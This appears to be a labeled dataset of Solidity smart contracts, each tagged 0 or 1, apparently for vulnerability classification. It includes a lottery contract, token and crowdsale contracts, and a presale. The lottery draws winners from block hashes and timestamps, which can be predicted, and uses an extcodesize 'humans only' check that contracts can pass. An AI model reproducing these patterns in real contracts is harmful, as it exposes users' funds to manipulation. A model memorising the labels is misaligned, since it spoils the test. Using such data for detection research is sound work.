function encode(uint256 _begin, uint256 _end, uint256 _ceiling) internal pure returns (uint256)
{
require(_begin <= _end && _end < _ceiling, "number is invalid");
return _begin << 24 | _end;
}
function decode(uint256 _value) internal pure returns (uint256, uint256)
{
uint256 end = _value & MASK;
uint256 begin = (_value >> 24) & MASK;
return (begin, end);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
}
contract Events {
event onActivate
(
address indexed addr,
uint256 timestamp,
uint256 bonus,
uint256 issued_numbers
);
event onDraw
(
uint256 timestatmp,
uint256 blockNumber,
uint256 roundID,
uint256 winningNumber
);
event onStartRunnd
(
uint256 timestamp,
uint256 roundID
);
event onBet
(
address indexed addr,
uint256 timestamp,
uint256 roundID,
uint256 beginNumber,
uint256 endNumber
);
event onAssign
(
address indexed operatorAddr,
uint256 timestatmp,
address indexed winnerAddr,
uint256 roundID,
uint256 pond,
uint256 bonus,
uint256 fund
);
event onRefund
(
address indexed operatorAddr,
uint256 timestamp,
address indexed playerAddr,
uint256 count,
uint256 amount
);
event onLastRefund
(
address indexed operatorAddr,
uint256 timestamp,
address indexed platformAddr,
uint256 amout
);
}
contract Winner is Events {
using SafeMath for *;
uint256 constant private MIN_BET = 0.01 ether;
uint256 constant private PRICE = 0.01 ether;
uint256 constant private MAX_DURATION = 30 days;
uint256 constant private REFUND_RATE = 90;
address constant private platform = 0x1f79bfeCe98447ac5466Fd9b8F71673c780566Df;
uint256 private curRoundID;
uint256 private drawnRoundID;
uint256 private drawnBlockNumber;
uint256 private bonus;
uint256 private issued_numbers;
bool private initialized;
mapping (uint256 => DataSet.Round) private rounds;
mapping (uint256 => mapping(address => uint256[])) private playerNumbers;
mapping (address => bool) private administrators;
constructor() public {
}
modifier isAdmin() {
require(administrators[msg.sender], "only administrators");
_;
}
modifier isInitialized () {
require(initialized == true, "game is inactive");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry, humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= MIN_BET, "the bet is too small");
require(_eth <= PRICE.mul(issued_numbers).mul(2), "the bet is too big");
_;
}
function() public payable isHuman() isInitialized() isWithinLimits(msg.value)
{
bet(msg.value);
}
function initiate(uint256 _bonus, uint256 _issued_numbers) public isHuman()
{
require(initialized == false, "it has been initialized already");
require(_bonus > 0, "bonus is invalid");
require(_issued_numbers > 0, "issued_numbers is invalid");
initialized = true;
administrators[msg.sender] = true;
bonus = _bonus;
issued_numbers = _issued_numbers;
emit onActivate(msg.sender, block.timestamp, bonus, issued_numbers);
curRoundID = 1;
rounds[curRoundID].state = DataSet.RoundState.STARTED;
rounds[curRoundID].timestamp = block.timestamp;
drawnRoundID = 0;
emit onStartRunnd(block.timestamp, curRoundID);
}
function drawNumber() private view returns(uint256) {
return uint256(keccak256(abi.encodePacked(
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 1))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 2))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 3))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 4))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 5))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 6))))) / (block.timestamp))
))) % issued_numbers;
}
function bet(uint256 _amount) private
{
if (block.number != drawnBlockNumber
&& curRoundID > drawnRoundID
&& rounds[drawnRoundID + 1].count == issued_numbers
&& block.number >= rounds[drawnRoundID + 1].blockNumber + 7)
{
drawnBlockNumber = block.number;
drawnRoundID += 1;
rounds[drawnRoundID].winningNumber = drawNumber();
rounds[drawnRoundID].state = DataSet.RoundState.DRAWN;
rounds[drawnRoundID].drawBlockNumber = drawnBlockNumber;
emit onDraw(block.timestamp, drawnBlockNumber, drawnRoundID, rounds[drawnRoundID].winningNumber);
}
uint256 amount = _amount;
while (true)
{
uint256 max = issued_numbers - rounds[curRoundID].count;
uint256 available = amount.div(PRICE).min(max);
if (available == 0)
{
if (amount != 0)
{
rounds[curRoundID].pond += amount;
}
break;
}
uint256[] storage numbers = playerNumbers[curRoundID][msg.sender];
uint256 begin = rounds[curRoundID].count;
uint256 end = begin + available - 1;
uint256 compressedNumber = NumberCompressor.encode(begin, end, issued_numbers);
numbers.push(compressedNumber);
rounds[curRoundID].pond += available.mul(PRICE);
rounds[curRoundID].count += available;
amount -= available.mul(PRICE);
emit onBet(msg.sender, block.timestamp, curRoundID, begin, end);
if (rounds[curRoundID].count == issued_numbers)
{
rounds[curRoundID].blockNumber = block.number;
rounds[curRoundID].state = DataSet.RoundState.STOPPED;
curRoundID += 1;
rounds[curRoundID].state = DataSet.RoundState.STARTED;
rounds[curRoundID].timestamp = block.timestamp;
emit onStartRunnd(block.timestamp, curRoundID);
}
}
}
function assign(uint256 _roundID) external isHuman() isInitialized()
{
assign2(msg.sender, _roundID);
}
function assign2(address _player, uint256 _roundID) public isHuman() isInitialized()
{
require(rounds[_roundID].state == DataSet.RoundState.DRAWN, "it's not time for assigning");
uint256[] memory numbers = playerNumbers[_roundID][_player];
require(numbers.length > 0, "player did not involve in");
uint256 targetNumber = rounds[_roundID].winningNumber;
for (uint256 i = 0; i < numbers.length; i ++)
{
(uint256 start, uint256 end) = NumberCompressor.decode(numbers[i]);
if (targetNumber >= start && targetNumber <= end)
{
uint256 fund = rounds[_roundID].pond.sub(bonus);
_player.transfer(bonus);
platform.transfer(fund);
rounds[_roundID].state = DataSet.RoundState.ASSIGNED;
rounds[_roundID].winner = _player;
emit onAssign(msg.sender, block.timestamp, _player, _roundID, rounds[_roundID].pond, bonus, fund);
break;
}
}
}
function refund() external isHuman() isInitialized()
{
refund2(msg.sender);
}
function refund2(address _player) public isInitialized() isHuman()
{
require(block.timestamp.sub(rounds[curRoundID].timestamp) >= MAX_DURATION, "it's not time for refunding");
uint256[] storage numbers = playerNumbers[curRoundID][_player];
require(numbers.length > 0, "player did not involve in");
uint256 count = 0;
for (uint256 i = 0; i < numbers.length; i ++)
{
(uint256 begin, uint256 end) = NumberCompressor.decode(numbers[i]);
count += (end - begin + 1);
}
uint256 amount = count.mul(PRICE).mul(REFUND_RATE).div(100);
rounds[curRoundID].pond = rounds[curRoundID].pond.sub(amount);
_player.transfer(amount);
emit onRefund(msg.sender, block.timestamp, _player, count, amount);
rounds[curRoundID].count -= count;
if (rounds[curRoundID].count == 0)
{
uint256 last = rounds[curRoundID].pond;
platform.transfer(last);
rounds[curRoundID].pond = 0;
emit onLastRefund(msg.sender, block.timestamp, platform, last);
}
}
function getPlayerRoundNumbers(uint256 _roundID, address _palyer) public view returns(uint256[])
{
return playerNumbers[_roundID][_palyer];
}
function getRoundInfo(uint256 _roundID) public view
returns(uint256, uint256, uint256, uint256, uint256, uint256, address)
{
return (
rounds[_roundID].count,
rounds[_roundID].blockNumber,
rounds[_roundID].drawBlockNumber,
uint256(rounds[_roundID].state),
rounds[_roundID].pond,
rounds[_roundID].winningNumber,
rounds[_roundID].winner
);
}
function gameInfo() public view
returns(bool, uint256, uint256, uint256, uint256)
{
return (
initialized,
bonus,
issued_numbers,
curRoundID,
drawnRoundID
);
}
}
contract Proxy {
function implementation() public view returns (address);
function () public payable {
address _impl = implementation();
require(_impl != address(0), "address invalid");
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
contract UpgradeabilityProxy is Proxy {
event Upgraded(address indexed implementation);
bytes32 private constant implementationPosition = keccak256("you are the lucky man.proxy");
constructor() public {}
function implementation() public view returns (address impl) {
bytes32 position = implementationPosition;
assembly {
impl := sload(position)
}
}
function setImplementation(address newImplementation) internal {
bytes32 position = implementationPosition;
assembly {
sstore(position, newImplementation)
}
}
function _upgradeTo(address newImplementation) internal {
address currentImplementation = implementation();
require(currentImplementation != newImplementation, "new address is the same");
setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
contract OwnedUpgradeabilityProxy is UpgradeabilityProxy {
event ProxyOwnershipTransferred(address previousOwner, address newOwner);
bytes32 private constant proxyOwnerPosition = keccak256("you are the lucky man.proxy.owner");
constructor() public {
setUpgradeabilityOwner(msg.sender);
}
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner(), "owner only");
_;
}
function proxyOwner() public view returns (address owner) {
bytes32 position = proxyOwnerPosition;
assembly {
owner := sload(position)
}
}
function setUpgradeabilityOwner(address newProxyOwner) internal {
bytes32 position = proxyOwnerPosition;
assembly {
sstore(position, newProxyOwner)
}
}
function transferProxyOwnership(address newOwner) public onlyProxyOwner {
require(newOwner != address(0), "address is invalid");
emit ProxyOwnershipTransferred(proxyOwner(), newOwner);
setUpgradeabilityOwner(newOwner);
}
function upgradeTo(address implementation) public onlyProxyOwner {
_upgradeTo(implementation);
}
function upgradeToAndCall(address implementation, bytes data) public payable onlyProxyOwner {
upgradeTo(implementation);
require(address(this).call.value(msg.value)(data), "data is invalid");
}
} | 0 | 21 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract Heritable is Ownable {
address private heir_;
uint256 private heartbeatTimeout_;
uint256 private timeOfDeath_;
event HeirChanged(address indexed owner, address indexed newHeir);
event OwnerHeartbeated(address indexed owner);
event OwnerProclaimedDead(address indexed owner, address indexed heir, uint256 timeOfDeath);
event HeirOwnershipClaimed(address indexed previousOwner, address indexed newOwner);
modifier onlyHeir() {
require(msg.sender == heir_);
_;
}
function Heritable(uint256 _heartbeatTimeout) public {
setHeartbeatTimeout(_heartbeatTimeout);
}
function setHeir(address newHeir) public onlyOwner {
require(newHeir != owner);
heartbeat();
HeirChanged(owner, newHeir);
heir_ = newHeir;
}
function heir() public view returns(address) {
return heir_;
}
function heartbeatTimeout() public view returns(uint256) {
return heartbeatTimeout_;
}
function timeOfDeath() public view returns(uint256) {
return timeOfDeath_;
}
function removeHeir() public onlyOwner {
heartbeat();
heir_ = 0;
}
function proclaimDeath() public onlyHeir {
require(ownerLives());
OwnerProclaimedDead(owner, heir_, timeOfDeath_);
timeOfDeath_ = block.timestamp;
}
function heartbeat() public onlyOwner {
OwnerHeartbeated(owner);
timeOfDeath_ = 0;
}
function claimHeirOwnership() public onlyHeir {
require(!ownerLives());
require(block.timestamp >= timeOfDeath_ + heartbeatTimeout_);
OwnershipTransferred(owner, heir_);
HeirOwnershipClaimed(owner, heir_);
owner = heir_;
timeOfDeath_ = 0;
}
function setHeartbeatTimeout(uint256 newHeartbeatTimeout) internal onlyOwner {
require(ownerLives());
heartbeatTimeout_ = newHeartbeatTimeout;
}
function ownerLives() internal view returns (bool) {
return timeOfDeath_ == 0;
}
}
contract HawkToken is Heritable, CappedToken {
string public name = "HWK";
string public symbol = "HWK";
uint8 public decimals = 18;
function HawkToken
(
uint256 _cap,
uint256 _hbTimeout
)
public
Heritable(_hbTimeout)
CappedToken(_cap)
{}
function setHBT(uint256 newHeartbeatTimeout) public onlyOwner {
setHeartbeatTimeout(newHeartbeatTimeout);
}
} | 0 | 885 |
contract StandardTokenProtocol {
function totalSupply() constant returns (uint256 totalSupply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _recipient, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _recipient, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _recipient, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is StandardTokenProtocol {
modifier when_can_transfer(address _from, uint256 _value) {
if (balances[_from] >= _value) _;
}
modifier when_can_receive(address _recipient, uint256 _value) {
if (balances[_recipient] + _value > balances[_recipient]) _;
}
modifier when_is_allowed(address _from, address _delegate, uint256 _value) {
if (allowed[_from][_delegate] >= _value) _;
}
function transfer(address _recipient, uint256 _value)
when_can_transfer(msg.sender, _value)
when_can_receive(_recipient, _value)
returns (bool o_success)
{
balances[msg.sender] -= _value;
balances[_recipient] += _value;
Transfer(msg.sender, _recipient, _value);
return true;
}
function transferFrom(address _from, address _recipient, uint256 _value)
when_can_transfer(_from, _value)
when_can_receive(_recipient, _value)
when_is_allowed(_from, msg.sender, _value)
returns (bool o_success)
{
allowed[_from][msg.sender] -= _value;
balances[_from] -= _value;
balances[_recipient] += _value;
Transfer(_from, _recipient, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool o_success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 o_remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract GUPToken is StandardToken {
uint public constant LOCKOUT_PERIOD = 1 years;
uint public endMintingTime;
address public minter;
mapping (address => uint) public illiquidBalance;
modifier only_minter {
if (msg.sender != minter) throw;
_;
}
modifier when_thawable {
if (now < endMintingTime + LOCKOUT_PERIOD) throw;
_;
}
modifier when_transferable {
if (now < endMintingTime) throw;
_;
}
modifier when_mintable {
if (now >= endMintingTime) throw;
_;
}
function GUPToken(address _minter, uint _endMintingTime) {
endMintingTime = _endMintingTime;
minter = _minter;
}
function() {
throw;
}
function createToken(address _recipient, uint _value)
when_mintable
only_minter
returns (bool o_success)
{
balances[_recipient] += _value;
totalSupply += _value;
return true;
}
function createIlliquidToken(address _recipient, uint _value)
when_mintable
only_minter
returns (bool o_success)
{
illiquidBalance[_recipient] += _value;
totalSupply += _value;
return true;
}
function makeLiquid()
when_thawable
returns (bool o_success)
{
balances[msg.sender] += illiquidBalance[msg.sender];
illiquidBalance[msg.sender] = 0;
return true;
}
function transfer(address _recipient, uint _amount)
when_transferable
returns (bool o_success)
{
return super.transfer(_recipient, _amount);
}
function transferFrom(address _from, address _recipient, uint _amount)
when_transferable
returns (bool o_success)
{
return super.transferFrom(_from, _recipient, _amount);
}
}
contract SafeMath {
function assert(bool assertion) internal {
if (!assertion) throw;
}
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
}
contract Contribution is SafeMath {
uint public constant STAGE_ONE_TIME_END = 1 hours;
uint public constant STAGE_TWO_TIME_END = 3 days;
uint public constant STAGE_THREE_TIME_END = 2 weeks;
uint public constant STAGE_FOUR_TIME_END = 4 weeks;
uint public constant PRICE_STAGE_ONE = 400000;
uint public constant PRICE_STAGE_TWO = 366000;
uint public constant PRICE_STAGE_THREE = 333000;
uint public constant PRICE_STAGE_FOUR = 300000;
uint public constant PRICE_BTCS = 400000;
uint public constant MAX_SUPPLY = 100000000000;
uint public constant ALLOC_ILLIQUID_TEAM = 8000000000;
uint public constant ALLOC_LIQUID_TEAM = 13000000000;
uint public constant ALLOC_BOUNTIES = 2000000000;
uint public constant ALLOC_NEW_USERS = 17000000000;
uint public constant ALLOC_CROWDSALE = 60000000000;
uint public constant BTCS_PORTION_MAX = 37500 * PRICE_BTCS;
uint public publicStartTime = 1490446800;
uint public privateStartTime = 1490432400;
uint public publicEndTime;
address public btcsAddress = 0x00a88EDaA9eAd00A1d114e4820B0B0f2e3651ECE;
address public multisigAddress = 0x2CAfdC32aC9eC55e915716bC43037Bd2C689512E;
address public matchpoolAddress = 0x00ce633b4789D1a16a0aD3AEC58599B76d5D669E;
address public ownerAddress = 0x00ce633b4789D1a16a0aD3AEC58599B76d5D669E;
GUPToken public gupToken;
uint public etherRaised;
uint public gupSold;
uint public btcsPortionTotal;
bool public halted;
modifier is_pre_crowdfund_period() {
if (now >= publicStartTime || now < privateStartTime) throw;
_;
}
modifier is_crowdfund_period() {
if (now < publicStartTime || now >= publicEndTime) throw;
_;
}
modifier only_btcs() {
if (msg.sender != btcsAddress) throw;
_;
}
modifier only_owner() {
if (msg.sender != ownerAddress) throw;
_;
}
modifier is_not_halted() {
if (halted) throw;
_;
}
event PreBuy(uint _amount);
event Buy(address indexed _recipient, uint _amount);
function Contribution() {
publicEndTime = publicStartTime + STAGE_FOUR_TIME_END;
gupToken = new GUPToken(this, publicEndTime);
gupToken.createIlliquidToken(matchpoolAddress, ALLOC_ILLIQUID_TEAM);
gupToken.createToken(matchpoolAddress, ALLOC_BOUNTIES);
gupToken.createToken(matchpoolAddress, ALLOC_LIQUID_TEAM);
gupToken.createToken(matchpoolAddress, ALLOC_NEW_USERS);
}
function toggleHalt(bool _halted)
only_owner
{
halted = _halted;
}
function getPriceRate()
constant
returns (uint o_rate)
{
if (now <= publicStartTime + STAGE_ONE_TIME_END) return PRICE_STAGE_ONE;
if (now <= publicStartTime + STAGE_TWO_TIME_END) return PRICE_STAGE_TWO;
if (now <= publicStartTime + STAGE_THREE_TIME_END) return PRICE_STAGE_THREE;
if (now <= publicStartTime + STAGE_FOUR_TIME_END) return PRICE_STAGE_FOUR;
else return 0;
}
function processPurchase(uint _rate, uint _remaining)
internal
returns (uint o_amount)
{
o_amount = safeDiv(safeMul(msg.value, _rate), 1 ether);
if (o_amount > _remaining) throw;
if (!multisigAddress.send(msg.value)) throw;
if (!gupToken.createToken(msg.sender, o_amount)) throw;
gupSold += o_amount;
}
function preBuy()
payable
is_pre_crowdfund_period
only_btcs
is_not_halted
{
uint amount = processPurchase(PRICE_BTCS, BTCS_PORTION_MAX - btcsPortionTotal);
btcsPortionTotal += amount;
PreBuy(amount);
}
function()
payable
is_crowdfund_period
is_not_halted
{
uint amount = processPurchase(getPriceRate(), ALLOC_CROWDSALE - gupSold);
Buy(msg.sender, amount);
}
function drain()
only_owner
{
if (!ownerAddress.send(this.balance)) throw;
}
} | 1 | 3,621 |
pragma solidity ^0.4.6;
contract Presale {
string public constant VERSION = "0.1.4-beta";
uint public constant PRESALE_START = 3125250;
uint public constant PRESALE_END = 3125260;
uint public constant WITHDRAWAL_END = 3125270;
address public constant OWNER = 0x41ab8360dEF1e19FdFa32092D83a7a7996C312a4;
uint public constant MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH = 1;
uint public constant MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH = 5;
uint public constant MIN_ACCEPTED_AMOUNT_FINNEY = 1;
string[5] private stateNames = ["BEFORE_START", "PRESALE_RUNNING", "WITHDRAWAL_RUNNING", "REFUND_RUNNING", "CLOSED" ];
enum State { BEFORE_START, PRESALE_RUNNING, WITHDRAWAL_RUNNING, REFUND_RUNNING, CLOSED }
uint public total_received_amount;
mapping (address => uint) public balances;
uint private constant MIN_TOTAL_AMOUNT_TO_RECEIVE = MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MAX_TOTAL_AMOUNT_TO_RECEIVE = MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MIN_ACCEPTED_AMOUNT = MIN_ACCEPTED_AMOUNT_FINNEY * 1 finney;
bool public isAborted = false;
function Presale () validSetupOnly() { }
function ()
payable
noReentrancy
{
State state = currentState();
if (state == State.PRESALE_RUNNING) {
receiveFunds();
} else if (state == State.REFUND_RUNNING) {
sendRefund();
} else {
throw;
}
}
function refund() external
inState(State.REFUND_RUNNING)
noReentrancy
{
sendRefund();
}
function withdrawFunds() external
inState(State.WITHDRAWAL_RUNNING)
onlyOwner
noReentrancy
{
if (!OWNER.send(this.balance)) throw;
}
function abort() external
inStateBefore(State.REFUND_RUNNING)
onlyOwner
{
isAborted = true;
}
function state() external constant
returns (string)
{
return stateNames[ uint(currentState()) ];
}
function sendRefund() private tokenHoldersOnly {
var amount_to_refund = balances[msg.sender] + msg.value;
balances[msg.sender] = 0;
if (!msg.sender.send(amount_to_refund)) throw;
}
function receiveFunds() private notTooSmallAmountOnly {
if (total_received_amount + msg.value > MAX_TOTAL_AMOUNT_TO_RECEIVE) {
var change_to_return = total_received_amount + msg.value - MAX_TOTAL_AMOUNT_TO_RECEIVE;
if (!msg.sender.send(change_to_return)) throw;
var acceptable_remainder = MAX_TOTAL_AMOUNT_TO_RECEIVE - total_received_amount;
balances[msg.sender] += acceptable_remainder;
total_received_amount += acceptable_remainder;
} else {
balances[msg.sender] += msg.value;
total_received_amount += msg.value;
}
}
function currentState() private constant returns (State) {
if (isAborted) {
return this.balance > 0
? State.REFUND_RUNNING
: State.CLOSED;
} else if (block.number < PRESALE_START) {
return State.BEFORE_START;
} else if (block.number <= PRESALE_END && total_received_amount < MAX_TOTAL_AMOUNT_TO_RECEIVE) {
return State.PRESALE_RUNNING;
} else if (this.balance == 0) {
return State.CLOSED;
} else if (block.number <= WITHDRAWAL_END && total_received_amount >= MIN_TOTAL_AMOUNT_TO_RECEIVE) {
return State.WITHDRAWAL_RUNNING;
} else {
return State.REFUND_RUNNING;
}
}
modifier inState(State state) {
if (state != currentState()) throw;
_;
}
modifier inStateBefore(State state) {
if (currentState() > state) throw;
_;
}
modifier validSetupOnly() {
if ( OWNER == 0x0
|| PRESALE_START == 0
|| PRESALE_END == 0
|| WITHDRAWAL_END ==0
|| PRESALE_START <= block.number
|| PRESALE_START >= PRESALE_END
|| PRESALE_END >= WITHDRAWAL_END
|| MIN_TOTAL_AMOUNT_TO_RECEIVE > MAX_TOTAL_AMOUNT_TO_RECEIVE )
throw;
_;
}
modifier onlyOwner(){
if (msg.sender != OWNER) throw;
_;
}
modifier tokenHoldersOnly(){
if (balances[msg.sender] == 0) throw;
_;
}
modifier notTooSmallAmountOnly(){
if (msg.value < MIN_ACCEPTED_AMOUNT) throw;
_;
}
bool private locked = false;
modifier noReentrancy() {
if (locked) throw;
locked = true;
_;
locked = false;
}
} | 0 | 917 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Releasable is Ownable {
event Release();
bool public released = false;
modifier afterReleased() {
require(released);
_;
}
function release() onlyOwner public {
require(!released);
released = true;
Release();
}
